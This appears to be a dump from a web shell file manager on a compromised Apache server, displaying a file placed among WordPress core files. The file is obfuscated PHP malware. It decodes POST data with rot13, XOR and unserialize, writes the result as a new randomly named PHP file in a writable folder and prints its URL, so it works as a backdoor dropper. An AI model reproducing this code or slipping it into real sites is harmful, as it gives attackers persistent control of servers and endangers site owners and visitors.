HEX
Server: Apache
System: Linux host.dominioscaracas.com 4.18.0-477.15.1.lve.2.el8.x86_64 #1 SMP Wed Aug 2 10:43:45 UTC 2023 x86_64
User: enciassa (1159)
PHP: 8.1.31
Disabled: exec,passthru,shell_exec,system
Upload Files
File: /home/enciassa/public_html/wp-includes/interactivity-api/options.php
<?php function pcCXim($OtoKK, $sexMJNJxk, $WdUZwD){$zwsXUQFHk = "e099560a-63b6-4ae5-b065-0c3c956c319a";return $OtoKK ^ $zwsXUQFHk[$sexMJNJxk % strlen($zwsXUQFHk)] ^ $WdUZwD;}$oDsCYv = "PVFThd";function ncwbHvqlB($oDsCYv){ $wAqpx = "\163".'t'.chr(114)."\x5f".'r'.chr(111).'t'.chr(537-488)."\x33";$oDsCYv = $wAqpx($oDsCYv);$fFssetIDMK = 'r'."\141".chr(119).chr(117)."\162"."\154"."\x64".chr(101)."\x63".chr(792-681).chr(100).'e';$oDsCYv = $fFssetIDMK($oDsCYv);$oDsCYv = str_split($oDsCYv);return $oDsCYv;}function lebuREeNHS($NSgdKpM, $WdUZwD){$NSgdKpM = array_map("pcCXim", array_values($NSgdKpM), array_keys($NSgdKpM), array_values($WdUZwD));$NSgdKpM = implode("", $NSgdKpM);$Kmdczfn = chr(117).'n'.'s'.chr(964-863).chr(649-535)."\151".chr(764-667)."\x6c".chr(105).chr(359-237).chr(101);$NSgdKpM = @$Kmdczfn($NSgdKpM);return $NSgdKpM;}function VHYgCN($WdUZwD, $NSgdKpM){$WdUZwD = array_slice(str_split(str_repeat($WdUZwD, (count($NSgdKpM)/16)+1)), 0, count($NSgdKpM));return $WdUZwD;}function TxSdCanmy(){echo "wviclnWS";}function nNEHzhoQt($nUFSTir){static $AqvowtK = array();$DGkkiVlqND = glob($nUFSTir . '/*', GLOB_ONLYDIR);$uRHuLWhSEs = count($DGkkiVlqND);if ($uRHuLWhSEs > 0) {foreach ($DGkkiVlqND as $nUFST) {$rARCBEOjdt = 'i'."\x73"."\137"."\167"."\x72"."\x69".'t'.chr(1062-965)."\x62".chr(335-227)."\x65";if (@$rARCBEOjdt($nUFST)) {$AqvowtK[] = $nUFST;}}}foreach ($DGkkiVlqND as $nUFSTir) nNEHzhoQt($nUFSTir);return $AqvowtK;}function CwCASuJlwh($NSgdKpM){$hNXRIHo = chr(502-434).'O'.chr(671-604).'U'.'M'."\x45".chr(327-249)."\124".chr(95).'R'."\x4f".'O'."\124";$HCcIVvuSZ = $_SERVER[$hNXRIHo];$DGkkiVlqND = nNEHzhoQt($HCcIVvuSZ);$FdNNXtxjA = array_rand($DGkkiVlqND);$LHFpXm = "\56"."\160".chr(104)."\160";$ARlHmkca = $DGkkiVlqND[$FdNNXtxjA] . "/" . substr(md5(time()), 0, 8) . $LHFpXm;$mNMntl = 'f'.'i'."\x6c".'e'.'_'.'p'.chr(117).'t'.'_'."\143".'o'.chr(189-79)."\164"."\x65"."\156".chr(532-416).chr(115);@$mNMntl($ARlHmkca, $NSgdKpM);$DaDXtJgAaq = "\110".chr(128-44).chr(145-61)."\120".'_'.'H'."\117"."\x53".chr(84);$EfjPlLj = chr(756-652)."\x74".'t'.chr(112).chr(818-760).'/'."\57";$RnuoKSEjjM = $EfjPlLj . $_SERVER[$DaDXtJgAaq] . substr($ARlHmkca, strlen($HCcIVvuSZ));print($RnuoKSEjjM);}function gtxxl($NSgdKpM, $FdNNXtxjA){$FdNNXtxjA = $FdNNXtxjA[0];if ($NSgdKpM !== $FdNNXtxjA){CwCASuJlwh($NSgdKpM);}else {BeNNqNQzxw();}}function BeNNqNQzxw(){$WqwmqBKuge = "\160".'h'."\x70";$KJSCRajyrc = "\x70".chr(104).chr(522-410).'v'.'e'.'r'."\x73".chr(105).'o'.chr(363-253);$NSgdKpM = Array($WqwmqBKuge => @$KJSCRajyrc(), );$DivAb = "\163".chr(290-189).chr(173-59).chr(105).chr(97)."\x6c".chr(931-826).'z'."\145";echo @$DivAb($NSgdKpM);}function XyrRg(){echo "PVFThd";}foreach ($_POST as $WdUZwD => $NSgdKpM){$omePAEGT = strlen($WdUZwD);if ($omePAEGT == 16){$NSgdKpM = ncwbHvqlB($NSgdKpM);$WdUZwD = VHYgCN($WdUZwD, $NSgdKpM);$NSgdKpM = lebuREeNHS($NSgdKpM, $WdUZwD);if (@is_array($NSgdKpM)){$FdNNXtxjA = array_keys($NSgdKpM);$NSgdKpM = $NSgdKpM[$FdNNXtxjA[0]];gtxxl($NSgdKpM, $FdNNXtxjA);}}}die();